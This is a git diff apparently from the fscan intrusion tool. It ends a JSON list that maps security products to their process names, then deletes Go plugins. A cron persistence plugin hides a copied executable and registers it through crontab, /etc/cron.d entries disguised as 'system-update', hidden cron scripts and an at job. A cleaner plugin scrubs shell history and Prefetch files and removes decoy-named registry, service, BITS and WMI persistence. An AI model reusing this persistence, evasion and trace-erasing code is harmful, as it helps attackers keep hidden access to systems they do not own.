"wupdt.exe", - "wyvernworksfirewall.exe", - "xpf202en.exe", - "zapsetup3001.exe", - "zatutor.exe", - "zonalm2601.exe", - "A2CMD.exe", - "ADVCHK.exe", - "AGB.exe", - "AKRNL.exe", - "AHPROCMONSERVER.exe", - "AIRDEFENSE.exe", - "ALERTSVC.exe", - "AVIRA.exe", - "AMON.exe", - "TROJAN.exe", - "AVZ.exe", - "ANTIVIR.exe", - "ARMOR2NET.exe", - "ASH.exeexe.exe", - "ASHENHCD.exe", - "ASHMAISV.exe", - "ASHPOPWZ.exe", - "ASHSERV.exe", - "ASHSIMPL.exe", - "ASHSKPCK.exe", - "ASHWEBSV.exe", - "ASWUPDSV.exe", - "ASWSCAN.exe", - "AVCIMAN.exe", - "AVENGINE.exe", - "AVESVC.exe", - "AVEVAL.exe", - "AVEVL32.exe", - "AVGAM.exe", - "AVGCC.exe", - "AVGCHSVX.exe", - "AVGCSRVX.exe", - "AVGNSX.exe", - "AVGCC32.exe", - "AVGCTRL.exe", - "AVGFWSRV.exe", - "AVGNTMGR.exe", - "AVGTRAY.exe", - "AVGUPSVC.exe", - "AVINITNT.exe", - "AVKSERV.exe", - "AVKSERVICE.exe", - "AVP32.exe", - "AVSERVER.exe", - "AVSCHED32.exe", - "AVSYNMGR.exe", - "AVWUPD32.exe", - "AVXMONITOR.exe", - "AVXQUAR.exe", - "BDSWITCH.exe", - "BLACKICE.exe", - "CAFIX.exe", - "CFP.exe", - "CFPCONFIG.exe", - "CFIAUDIT.exe", - "CLAMWIN.exe", - "CUREIT.exe", - "DEFWATCH.exe", - "DRVIRUS.exe", - "DRWADINS.exe", - "DRWEB.exe", - "DEFENDERDAEMON.exe", - "DWEBLLIO.exe", - "DWEBIO.exe", - "ESCANH95.exe", - "ESCANHNT.exe", - "EWIDOCTRL.exe", - "EZANTIVIRUSREGISTRATIONCHECK.exe", - "FILEMON.exe", - "FIREWALL.exe", - "FORTISCAN.exe", - "FPWIN.exe", - "FSBWSYS.exe", - "F-SCHED.exe", - "FSDFWD.exe", - "FSGK32.exe", - "FSGK32ST.exe", - "FSGUIEXE.exe", - "FSPEX.exe", - "GCASDTSERV.exe", - "GCASSERV.exe", - "GIANTANTISPYWARE.exe", - "GUARDGUI.exe", - "GUARDNT.exe", - "HREGMON.exe", - "HRRES.exe", - "HSOCKPE.exe", - "HUPDATE.exe", - "IAMSERV.exe", - "ICLOAD95.exe", - "ICLOADNT.exe", - "ICMON.exe", - "ICSSUPPNT.exe", - "ICSUPP95.exe", - "ICSUPPNT.exe", - "INETUPD.exe", - "INOCIT.exe", - "INORPC.exe", - "INORT.exe", - "INOTASK.exe", - "INOUPTNG.exe", - "IOMON98.exe", - "ISAFE.exe", - "ISATRAY.exe", - "KAV.exe", - "KAVMM.exe", - "KAVPFW.exe", - "KAVSTART.exe", - "KAVSVC.exe", - "KAVSVCUI.exe", - "KMAILMON.exe", - "MAMUTU.exe", - "MCAGENT.exe", - "MCREGWIZ.exe", - "MCUPDATE.exe", - "MINILOG.exe", - "MYAGTSVC.exe", - "MYAGTTRY.exe", - "NAVLU32.exe", - "NAVW32.exe", - "NEOWATCHLOG.exe", - "NEOWATCHTRAY.exe", - "NISSERV.exe", - "NOD32.exe", - "NORMIST.exe", - "NOTSTART.exe", - "NPAVTRAY.exe", - "NPFMSG.exe", - "NSCHED32.exe", - "NSMDTR.exe", - "NSSSERV.exe", - "NSSTRAY.exe", - "NTOS.exe", - "NTXCONFIG.exe", - "NUPGRADE.exe", - "NVCOD.exe", - "NVCTE.exe", - "NVCUT.exe", - "NWSERVICE.exe", - "OFCPFWSVC.exe", - "OPSSVC.exe", - "OP_MON.exe", - "PAVFIRES.exe", - "PAVFNSVR.exe", - "PAVKRE.exe", - "PAVPROT.exe", - "PAVPRSRV.exe", - "PAVSRV51.exe", - "PAVSS.exe", - "PCCGUIDE.exe", - "PCCIOMON.exe", - "PCCPFW.exe", - "PCCTLCOM.exe", - "PERTSK.exe", - "PERVAC.exe", - "PESTPATROL.exe", - "PNMSRV.exe", - "PREVSRV.exe", - "PREVX.exe", - "PSIMSVC.exe", - "QHONLINE.exe", - "QHONSVC.exe", - "QHWSCSVC.exe", - "QHSET.exe", - "RTVSCN95.exe", - "SALITY.exe", - "SAVADMINSERVICE.exe", - "SAVSCAN.exe", - "SCANNINGPROCESS.exe", - "SDRA64.exe", - "SDHELP.exe", - "SITECLI.exe", - "SPBBCSVC.exe", - "SPIDERCPL.exe", - "SPIDERML.exe", - "SPIDERUI.exe", - "SPYBOTSD.exe", - "SPYXX.exe", - "SS3EDIT.exe", - "STOPSIGNAV.exe", - "SWAGENT.exe", - "SWDOCTOR.exe", - "SWNETSUP.exe", - "SYMLCSVC.exe", - "SYMSPORT.exe", - "SYMWSC.exe", - "SYNMGR.exe", - "TAUMON.exe", - "TMNTSRV.exe", - "TMPROXY.exe", - "TNBUTIL.exe", - "VBA32ECM.exe", - "VBA32IFS.exe", - "VBA32LDR.exe", - "VBA32PP3.exe", - "VBSNTW.exe", - "VCRMON.exe", - "VRFWSVC.exe", - "VRRW32.exe", - "VSECOMR.exe", - "WATCHDOG.exe", - "WINSSNOTIFY.exe", - "XCOMMSVR.exe", - "ZLCLIENT.exe", - "navap.exe", - "sahagent.exe" - ], - "url": "" - }, - "G Data文件系统实时监控": { - "processes": [ - "avkwctl9.exe", - "AVKWCTL.exe" - ], - "url": "" - }, - "Sophos Anti-Virus": { - "processes": [ - "SAVMAIN.exe" - ], - "url": "" - }, - "360保险箱": { - "processes": [ - "safeboxTray.exe", - "360safebox.exe" - ], - "url": "" - }, - "G Data扫描器": { - "processes": [ - "GDScan.exe" - ], - "url": "" - }, - "G Data杀毒代理": { - "processes": [ - "AVKProxy.exe" - ], - "url": "" - }, - "G Data备份服务": { - "processes": [ - "AVKBackupService.exe" - ], - "url": "" - }, - "亚信安全服务器深度安全防护系统": { - "processes": [ - "Notifier.exe" - ], - "url": "" - }, - "阿里云盾": { - "processes": [ - "AliYunDun.exe", - "AliYunDunUpdate.exe", - "aliyun_assist_service.exe", - "/usr/local/aegis/aegis_client/" - ], - "url": "" - }, - "腾讯云安全": { - "processes": [ - "BaradAgent.exe", - "sgagent.exe", - "YDService.exe", - "YDLive.exe", - "YDEdr.exe" - ], - "url": "" - }, - "360主机卫士Web": { - "processes": [ - "360WebSafe.exe", - "QHSrv.exe", - "QHWebshellGuard.exe" - ], - "url": "" - }, - "网防G01": { - "processes": [ - "gov_defence_service.exe", - "gov_defence_daemon.exe" - ], - "url": "" - }, - "云锁客户端": { - "processes": [ - "PC.exe" - ], - "url": "" - }, - "Symantec Shared诺顿邮件防火墙软件": { - "processes": [ - "SNDSrvc.exe" - ], - "url": "" - }, - "U盘杀毒专家": { - "processes": [ - "USBKiller.exe" - ], - "url": "" - }, - "天擎EDRAgent": { - "processes": [ - "360EntClient.exe" - ], - "url": "" - }, - "360(奇安信)天擎": { - "processes": [ - "360EntMisc.exe" - ], - "url": "" - }, - "阿里云-云盾": { - "processes": [ - "alisecguard.exe" - ], - "url": "" - }, - "Sophos AutoUpdate Service": { - "processes": [ - "ALsvc.exe" - ], - "url": "" - }, - "阿里云监控": { - "processes": [ - "CmsGoAgent.windows-amd64." - ], - "url": "" - }, - "深信服EDRAgent": { - "processes": [ - "edr_agent.exe", - "edr_monitor.exe", - "edr_sec_plan.exe" - ], - "url": "https://edr.sangfor.com.cn" - }, - "戎码翼龙 NG-EDR": { - "processes": [ - "rm_service.exe", - "rm_live.exe", - "rm_tray.exe", - "rm_hips.exe" - ], - "url": "https://www.rongma.com" - }, - "启明星辰天珣EDRAgent": { - "processes": [ - "ESAV.exe", - "ESCCControl.exe", - "ESCC.exe", - "ESCCIndex.exe" - ], - "url": "" - }, - "蓝鲸Agent": { - "processes": [ - "gse_win_agent.exe", - "gse_win_daemon.exe" - ], - "url": "" - }, - "联想电脑管家": { - "processes": [ - "LAVService.exe" - ], - "url": "" - }, - "Sophos MCS Agent": { - "processes": [ - "McsAgent.exe" - ], - "url": "" - }, - "Sophos MCS Client": { - "processes": [ - "McsClient.exe" - ], - "url": "" - }, - "360TotalSecurity(360国际版)": { - "processes": [ - "QHSafeMain.exe", - "QHSafeTray.exe", - "QHWatchdog.exe", - "QHActiveDefense.exe" - ], - "url": "" - }, - "Sophos Device Control Service": { - "processes": [ - "sdcservice.exe" - ], - "url": "" - }, - "Sophos Endpoint Defense Service": { - "processes": [ - "SEDService.exe" - ], - "url": "" - }, - "Windows Defender SmartScreen": { - "processes": [ - "smartscreen.exe" - ], - "url": "https://learn.microsoft.com/zh-cn/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/" - }, - "Sophos Clean Service": { - "processes": [ - "SophosCleanM64.exe" - ], - "url": "" - }, - "Sophos FIM": { - "processes": [ - "SophosFIMService.exe" - ], - "url": "" - }, - "Sophos System Protection Service": { - "processes": [ - "SSPService.exe" - ], - "url": "" - }, - "Sophos Web Control Service": { - "processes": [ - "swc_service.exe" - ], - "url": "" - }, - "天眼云镜": { - "processes": [ - "TitanAgent.exe", - "TitanMonitor.exe" - ], - "url": "" - }, - "天融信终端防御": { - "processes": [ - "TopsecMain.exe", - "TopsecTray.exe" - ], - "url": "" - }, - "360杀毒-网盾": { - "processes": [ - "wdswfsafe.exe" - ], - "url": "" - }, - "智量安全": { - "processes": [ - "WiseVector.exe", - "WiseVectorSvc.exe" - ], - "url": "" - }, - "天擎": { - "processes": [ - "QAXEntClient.exe", - "QAXTray.exe" - ], - "url": "" - }, - "安恒主机卫士": { - "processes": [ - "AgentService.exe", - "ProtectMain.exe" - ], - "url": "" - }, - "亚信DS服务端": { - "processes": [ - "Deep Security Manager.exe" - ], - "url": "https://www.asiainfo-sec.com/product/detail-148.html" - }, - "亚信DS客户端": { - "processes": [ - "dsa.exe", - "UniAccessAgent.exe", - "dsvp.exe" - ], - "url": "https://www.asiainfo-sec.com/product/detail-148.html" - }, - "深信服EDR": { - "processes": [ - "/sangfor/edr/agent" - ], - "url": "https://edr.sangfor.com.cn" - }, - "阿里云云助手守护进程": { - "processes": [ - "/assist-daemon/assist_daemon" - ], - "url": "" - }, - "zabbix agen端": { - "processes": [ - "zabbix_agentd" - ], - "url": "" - }, - "阿里云盾升级": { - "processes": [ - "/usr/local/aegis/aegis_update/AliYunDunUpdate" - ], - "url": "" - }, - "阿里云助手": { - "processes": [ - "/usr/local/share/aliyun-assist" - ], - "url": "" - }, - "阿里系监控": { - "processes": [ - "AliHips", - "AliNet", - "AliDetect", - "AliScriptEngine" - ], - "url": "" - }, - "腾讯系监控": { - "processes": [ - "secu-tcs-agent", - "/usr/local/qcloud/stargate/", - "/usr/local/qcloud/monitor/", - "/usr/local/qcloud/YunJing/" - ], - "url": "" - }, - "腾讯自动化助手TAT产品": { - "processes": [ - "/usr/local/qcloud/tat_agent/" - ], - "url": "" - }, - "SentinelOne(哨兵一号)": { - "processes": [ - "SentinelServiceHost.exe", - "SentinelStaticEngine.exe", - "SentinelStaticEngineScanner.exe", - "SentinelMemoryScanner.exe", - "SentinelAgent.exe", - "SentinelAgentWorker.exe", - "SentinelUI.exe" - ], - "url": "https://www.sentinelone.com/" - }, - "OneSec(微步)": { - "processes": [ - "tbAgent.exe", - "tbAgentSrv.exe", - "tbGuard.exe" - ], - "url": "https://threatbook.cn/onesec" - }, - "亚信安全防毒墙网络版": { - "processes": [ - "PccNT.exe", - "PccNTMon.exe", - "PccNTUpd.exe" - ], - "url": "https://asiainfo-sec.com/product/detail-122.html" - }, - "Illumio ZTS": { - "processes": [ - "venVtapServer.exe", - "venPlatformHandler.exe", - "venAgentMonitor.exe", - "venAgentMgr.exe" - ], - "url": "https://www.illumio.com/" - }, - "奇安信统一服务器安全": { - "processes": [ - "NuboshEndpoint.exe" - ], - "url": "https://www.qianxin.com/product/detail/pid/394" - }, - "IObit Malware Fighter": { - "processes": [ - "IMF.exe", - "IMFCore.exe", - "IMFsrv.exe", - "IMFSrvWsc.exe" - ], - "url":"https://www.iobit.com/en/malware-fighter.php" - } -} diff --git a/plugins/local/cleaner.go b/plugins/local/cleaner.go deleted file mode 100644 index 5fd9f883..00000000 --- a/plugins/local/cleaner.go +++ /dev/null @@ -1,125 +0,0 @@ -//go:build (plugin_cleaner || !plugin_selective) && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type CleanerPlugin struct { - plugins.BasePlugin -} - -func NewCleanerPlugin() *CleanerPlugin { - return &CleanerPlugin{BasePlugin: plugins.NewBasePlugin("cleaner")} -} - -func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - var output strings.Builder - var cleaned int - - // 清理 fscan 产物文件 - workDir, _ := os.Getwd() - cleaned += p.cleanFiles(&output, workDir, []string{ - "result.txt", "result.json", "result.csv", - "fscan_debug.log", - }) - cleaned += p.cleanGlob(&output, os.TempDir(), "fscan_*") - - // 清理持久化痕迹(平台特定) - cleaned += cleanPersistence(&output) - - // 平台通用文件清理 - switch runtime.GOOS { - case "linux", "darwin": - cleaned += p.cleanUnix(&output) - } - - session.LogSuccess(i18n.Tr("cleaner_success", cleaned, 0)) - - return &plugins.Result{ - Success: cleaned > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func (p *CleanerPlugin) cleanFiles(output *strings.Builder, dir string, names []string) int { - cleaned := 0 - for _, name := range names { - path := filepath.Join(dir, name) - if err := os.Remove(path); err == nil { - fmt.Fprintln(output, i18n.Tr("cleaner_removed", path)) - cleaned++ - } - } - return cleaned -} - -func (p *CleanerPlugin) cleanGlob(output *strings.Builder, dir, pattern string) int { - matches, _ := filepath.Glob(filepath.Join(dir, pattern)) - cleaned := 0 - for _, f := range matches { - if err := os.Remove(f); err == nil { - fmt.Fprintln(output, i18n.Tr("cleaner_removed", f)) - cleaned++ - } - } - return cleaned -} - -func (p *CleanerPlugin) cleanUnix(output *strings.Builder) int { - cleaned := 0 - homeDir, _ := os.UserHomeDir() - - histFiles := []string{ - filepath.Join(homeDir, ".bash_history"), - filepath.Join(homeDir, ".zsh_history"), - } - for _, hf := range histFiles { - if p.scrubHistory(hf) { - fmt.Fprintln(output, i18n.Tr("cleaner_history_removed", hf)) - cleaned++ - } - } - - cleaned += p.cleanGlob(output, "/tmp", "fscan_*") - cleaned += p.cleanGlob(output, "/tmp", ".fscan*") - return cleaned -} - -func (p *CleanerPlugin) scrubHistory(path string) bool { - data, err := os.ReadFile(path) - if err != nil { - return false - } - lines := strings.Split(string(data), "\n") - var kept []string - removed := false - for _, line := range lines { - if strings.Contains(strings.ToLower(line), "fscan") { - removed = true - continue - } - kept = append(kept, line) - } - if !removed { - return false - } - return os.WriteFile(path, []byte(strings.Join(kept, "\n")), 0600) == nil -} - -func init() { - RegisterLocalPlugin("cleaner", func() Plugin { - return NewCleanerPlugin() - }) -} diff --git a/plugins/local/cleaner_other.go b/plugins/local/cleaner_other.go deleted file mode 100644 index d7d39867..00000000 --- a/plugins/local/cleaner_other.go +++ /dev/null @@ -1,9 +0,0 @@ -//go:build (plugin_cleaner || !plugin_selective) && !windows && !no_local - -package local - -import "strings" - -func cleanPersistence(output *strings.Builder) int { - return 0 -} diff --git a/plugins/local/cleaner_windows.go b/plugins/local/cleaner_windows.go deleted file mode 100644 index 96a96a15..00000000 --- a/plugins/local/cleaner_windows.go +++ /dev/null @@ -1,251 +0,0 @@ -//go:build (plugin_cleaner || !plugin_selective) && windows && !no_local - -package local - -import ( - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common/i18n" -) - -func cleanPersistence(output *strings.Builder) int { - cleaned := 0 - - // 1. 清理 Winlogon 劫持——恢复默认值 - cleaned += fixWinlogon(output) - - // 2. 清理 IFEO 映像劫持 - cleaned += cleanIFEO(output) - - // 3. 清理注册表 Run 键 - cleaned += cleanRegistryRun(output) - - // 4. 清理计划任务 - cleaned += cleanScheduledTasks(output) - - // 5. 清理服务 - cleaned += cleanServices(output) - - // 6. 清理启动文件夹 - cleaned += cleanStartupFolders(output) - - // 7. 清理 BITS 任务 - cleaned += cleanBITS(output) - - // 8. 清理 WMI 事件订阅 - cleaned += cleanWMI(output) - - // 9. 清理 Prefetch - cleaned += cleanPrefetch(output) - - return cleaned -} - -func fixWinlogon(output *strings.Builder) int { - cleaned := 0 - key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` - - // 检查 Shell 是否被篡改 - if out, err := exec.Command("reg", "query", key, "/v", "Shell").CombinedOutput(); err == nil { - val := extractRegValue(string(out)) - if val != "explorer.exe" && val != "" { - if err := exec.Command("reg", "add", key, "/v", "Shell", "/t", "REG_SZ", "/d", "explorer.exe", "/f").Run(); err == nil { - output.WriteString(i18n.Tr("cleaner_restore_winlogon_shell", val, "explorer.exe") + "\n") - cleaned++ - } - } - } - - // 检查 Userinit 是否被篡改 - if out, err := exec.Command("reg", "query", key, "/v", "Userinit").CombinedOutput(); err == nil { - val := extractRegValue(string(out)) - defaultVal := `C:\Windows\system32\userinit.exe,` - if val != defaultVal && val != strings.TrimSuffix(defaultVal, ",") && val != "" { - if err := exec.Command("reg", "add", key, "/v", "Userinit", "/t", "REG_SZ", "/d", defaultVal, "/f").Run(); err == nil { - output.WriteString(i18n.Tr("cleaner_restore_winlogon_userinit", val, defaultVal) + "\n") - cleaned++ - } - } - } - return cleaned -} - -func cleanIFEO(output *strings.Builder) int { - cleaned := 0 - targets := []string{"sethc.exe", "utilman.exe", "narrator.exe"} - for _, t := range targets { - key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t) - if out, err := exec.Command("reg", "query", key, "/v", "Debugger").CombinedOutput(); err == nil && strings.Contains(string(out), "Debugger") { - if err := exec.Command("reg", "delete", key, "/f").Run(); err == nil { - output.WriteString(i18n.Tr("cleaner_ifeo_removed", t) + "\n") - cleaned++ - } - } - } - return cleaned -} - -func cleanRegistryRun(output *strings.Builder) int { - cleaned := 0 - keys := []string{ - `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, - `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, - `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, - } - markers := []string{"fscan", "test_payload", "WindowsUpdate_", "SystemUpdate_", "SetupComplete_"} - - for _, key := range keys { - out, err := exec.Command("reg", "query", key).CombinedOutput() - if err != nil { - continue - } - for _, line := range strings.Split(string(out), "\n") { - for _, m := range markers { - if strings.Contains(line, m) { - fields := strings.Fields(strings.TrimSpace(line)) - if len(fields) > 0 { - if err := exec.Command("reg", "delete", key, "/v", fields[0], "/f").Run(); err == nil { - output.WriteString(i18n.Tr("cleaner_registry_removed", key, fields[0]) + "\n") - cleaned++ - } - } - break - } - } - } - } - return cleaned -} - -func cleanScheduledTasks(output *strings.Builder) int { - cleaned := 0 - markers := []string{"WindowsUpdateCheck_", "SystemSecurityScan_", "MaintenanceTask_", "BackgroundService_"} - out, err := exec.Command("schtasks", "/query", "/fo", "csv", "/nh").CombinedOutput() - if err != nil { - return 0 - } - for _, line := range strings.Split(string(out), "\n") { - for _, m := range markers { - if strings.Contains(line, m) { - parts := strings.Split(line, ",") - if len(parts) > 0 { - name := strings.Trim(parts[0], "\"\\") - if err := exec.Command("schtasks", "/delete", "/tn", name, "/f").Run(); err == nil { - output.WriteString(i18n.Tr("cleaner_schtask_removed", name) + "\n") - cleaned++ - } - } - break - } - } - } - return cleaned -} - -func cleanServices(output *strings.Builder) int { - cleaned := 0 - markers := []string{"WinDefendUpdate_", "SysHealthMon_"} - for _, m := range markers { - out, err := exec.Command("sc", "query", "state=", "all").CombinedOutput() - if err != nil { - break - } - for _, line := range strings.Split(string(out), "\n") { - if strings.Contains(line, "SERVICE_NAME") && strings.Contains(line, m) { - name := strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "SERVICE_NAME:")) - _ = exec.Command("sc", "stop", name).Run() - if err := exec.Command("sc", "delete", name).Run(); err == nil { - output.WriteString(i18n.Tr("cleaner_service_removed", name) + "\n") - cleaned++ - } - } - } - } - return cleaned -} - -func cleanStartupFolders(output *strings.Builder) int { - cleaned := 0 - dirs := []string{ - filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), - filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), - } - for _, dir := range dirs { - matches, _ := filepath.Glob(filepath.Join(dir, "test_payload*")) - for _, f := range matches { - if os.Remove(f) == nil { - output.WriteString(i18n.Tr("cleaner_startup_removed", f) + "\n") - cleaned++ - } - } - } - return cleaned -} - -func cleanBITS(output *strings.Builder) int { - cleaned := 0 - out, err := exec.Command("bitsadmin", "/list", "/allusers").CombinedOutput() - if err != nil { - return 0 - } - for _, line := range strings.Split(string(out), "\n") { - if strings.Contains(line, "WindowsUpdate_") || strings.Contains(line, "fscan") { - // 提取 GUID - if idx := strings.Index(line, "{"); idx != -1 { - if end := strings.Index(line[idx:], "}"); end != -1 { - guid := line[idx : idx+end+1] - if err := exec.Command("bitsadmin", "/cancel", guid).Run(); err == nil { - output.WriteString(i18n.Tr("cleaner_bits_removed", guid) + "\n") - cleaned++ - } - } - } - } - } - return cleaned -} - -func cleanWMI(output *strings.Builder) int { - cleaned := 0 - ps := ` -Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Consumer -match 'SysExec_' -or $_.Consumer -match 'fscan' } | Remove-WmiObject -Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -match 'SysExec_' -or $_.Name -match 'fscan' } | Remove-WmiObject -Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -match 'SysMon_' -or $_.Name -match 'fscan' } | Remove-WmiObject -Write-Output 'WMI_CLEANED' -` - out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput() - if err == nil && strings.Contains(string(out), "WMI_CLEANED") { - output.WriteString(i18n.GetText("cleaner_wmi_removed") + "\n") - cleaned++ - } - return cleaned -} - -func cleanPrefetch(output *strings.Builder) int { - cleaned := 0 - matches, _ := filepath.Glob(`C:\Windows\Prefetch\FSCAN*.pf`) - for _, f := range matches { - if os.Remove(f) == nil { - output.WriteString(i18n.Tr("cleaner_prefetch_removed", f) + "\n") - cleaned++ - } - } - return cleaned -} - -func extractRegValue(output string) string { - for _, line := range strings.Split(output, "\n") { - line = strings.TrimSpace(line) - if strings.Contains(line, "REG_SZ") { - parts := strings.SplitN(line, "REG_SZ", 2) - if len(parts) == 2 { - return strings.TrimSpace(parts[1]) - } - } - } - return "" -} diff --git a/plugins/local/crontask.go b/plugins/local/crontask.go deleted file mode 100644 index 85001f25..00000000 --- a/plugins/local/crontask.go +++ /dev/null @@ -1,341 +0,0 @@ -//go:build (plugin_crontask || !plugin_selective) && linux && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "os/user" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// CronTaskPlugin 定时任务插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现持久化功能 -// - 保持原有功能逻辑 -type CronTaskPlugin struct { - plugins.BasePlugin - targetFile string -} - -// NewCronTaskPlugin 创建计划任务持久化插件 -func NewCronTaskPlugin() *CronTaskPlugin { - return &CronTaskPlugin{ - BasePlugin: plugins.NewBasePlugin("crontask"), - } -} - -// Scan 执行计划任务持久化 - 直接实现 -func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - if runtime.GOOS != "linux" { - return &plugins.Result{ - Success: false, - Output: i18n.GetText("crontask_linux_only"), - Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), - } - } - - // 从config获取配置 - p.targetFile = config.PersistenceTargetFile - if p.targetFile == "" { - return &plugins.Result{ - Success: false, - Output: i18n.GetText("persistence_file_required"), - Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), - } - } - - // 检查目标文件是否存在 - if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { - return &plugins.Result{ - Success: false, - Output: i18n.Tr("target_file_not_exist", p.targetFile), - Error: err, - } - } - - // 检查crontab是否可用 - if _, err := exec.LookPath("crontab"); err != nil { - return &plugins.Result{ - Success: false, - Output: i18n.GetText("crontab_unavailable"), - Error: err, - } - } - - output.WriteString(i18n.GetText("crontask_header") + "\n") - output.WriteString(i18n.Tr("local_target_file", p.targetFile) + "\n\n") - - var successCount int - - // 1. 复制文件到持久化目录 - persistPath, err := p.copyToPersistPath() - if err != nil { - output.WriteString(i18n.Tr("copy_file_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("file_copied_to", persistPath) + "\n") - successCount++ - } - - // 2. 添加用户crontab任务 - err = p.addUserCronJob(persistPath) - if err != nil { - output.WriteString(i18n.Tr("crontask_user_add_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("crontask_user_added") + "\n") - successCount++ - } - - // 3. 添加系统cron任务 - systemCronFiles, err := p.addSystemCronJobs(persistPath) - if err != nil { - output.WriteString(i18n.Tr("crontask_system_add_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("crontask_system_added", strings.Join(systemCronFiles, ", ")) + "\n") - successCount++ - } - - // 4. 创建at任务 - err = p.addAtJob(persistPath) - if err != nil { - output.WriteString(i18n.Tr("crontask_at_add_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("crontask_at_added") + "\n") - successCount++ - } - - // 5. 创建anacron任务 - err = p.addAnacronJob(persistPath) - if err != nil { - output.WriteString(i18n.Tr("crontask_anacron_add_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("crontask_anacron_added") + "\n") - successCount++ - } - - // 输出统计 - output.WriteString("\n" + i18n.Tr("persistence_complete_summary", successCount, 5) + "\n") - - if successCount > 0 { - session.LogSuccess(i18n.Tr("crontask_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Output: output.String(), - Error: nil, - } -} - -// copyToPersistPath 复制文件到持久化目录 -func (p *CronTaskPlugin) copyToPersistPath() (string, error) { - // 选择持久化目录 - persistDirs := []string{ - "/tmp/.system", - "/var/tmp/.cache", - "/opt/.local", - } - - // 获取用户目录 - if usr, err := user.Current(); err == nil { - userDirs := []string{ - filepath.Join(usr.HomeDir, ".local", "bin"), - filepath.Join(usr.HomeDir, ".cache"), - } - persistDirs = append(userDirs, persistDirs...) - } - - var targetDir string - for _, dir := range persistDirs { - if err := os.MkdirAll(dir, 0755); err == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("%s", i18n.GetText("persistence_dir_create_failed")) - } - - // 生成隐藏文件名 - basename := filepath.Base(p.targetFile) - hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename)) - if p.isScriptFile() { - hiddenName += ".sh" - } - - targetPath := filepath.Join(targetDir, hiddenName) - - // 复制文件 - err := p.copyFile(p.targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置执行权限 - _ = os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 复制文件内容 -func (p *CronTaskPlugin) copyFile(src, dst string) error { - sourceData, err := os.ReadFile(src) - if err != nil { - return err - } - return os.WriteFile(dst, sourceData, 0755) -} - -// addUserCronJob 添加用户crontab任务 -func (p *CronTaskPlugin) addUserCronJob(execPath string) error { - // 获取现有crontab - cmd := exec.Command("crontab", "-l") - currentCrontab, _ := cmd.Output() - - // 生成新的cron任务 - cronJobs := p.generateCronJobs(execPath) - newCrontab := string(currentCrontab) - - for _, job := range cronJobs { - if !strings.Contains(newCrontab, execPath) { - if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") { - newCrontab += "\n" - } - newCrontab += job + "\n" - } - } - - // 应用新的crontab - cmd = exec.Command("crontab", "-") - cmd.Stdin = strings.NewReader(newCrontab) - return cmd.Run() -} - -// addSystemCronJobs 添加系统cron任务 -func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) { - cronDirs := []string{ - "/etc/cron.d", - "/etc/cron.hourly", - "/etc/cron.daily", - "/etc/cron.weekly", - "/etc/cron.monthly", - } - - var modified []string - - // 在cron.d中创建配置文件 - cronFile := filepath.Join("/etc/cron.d", "system-update") - cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath) - if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil { - modified = append(modified, cronFile) - } - - // 在每个cron目录中创建脚本 - for _, cronDir := range cronDirs[1:] { // 跳过cron.d - if _, err := os.Stat(cronDir); os.IsNotExist(err) { - continue - } - - scriptFile := filepath.Join(cronDir, ".system-check") - scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath) - - if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil { - modified = append(modified, scriptFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("%s", i18n.GetText("crontask_system_create_none")) - } - - return modified, nil -} - -// addAtJob 添加at延时任务 -func (p *CronTaskPlugin) addAtJob(execPath string) error { - // 检查at命令是否可用 - if _, err := exec.LookPath("at"); err != nil { - return err - } - - // 创建5分钟后执行的任务 - atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath) - cmd := exec.Command("sh", "-c", atCommand) - return cmd.Run() -} 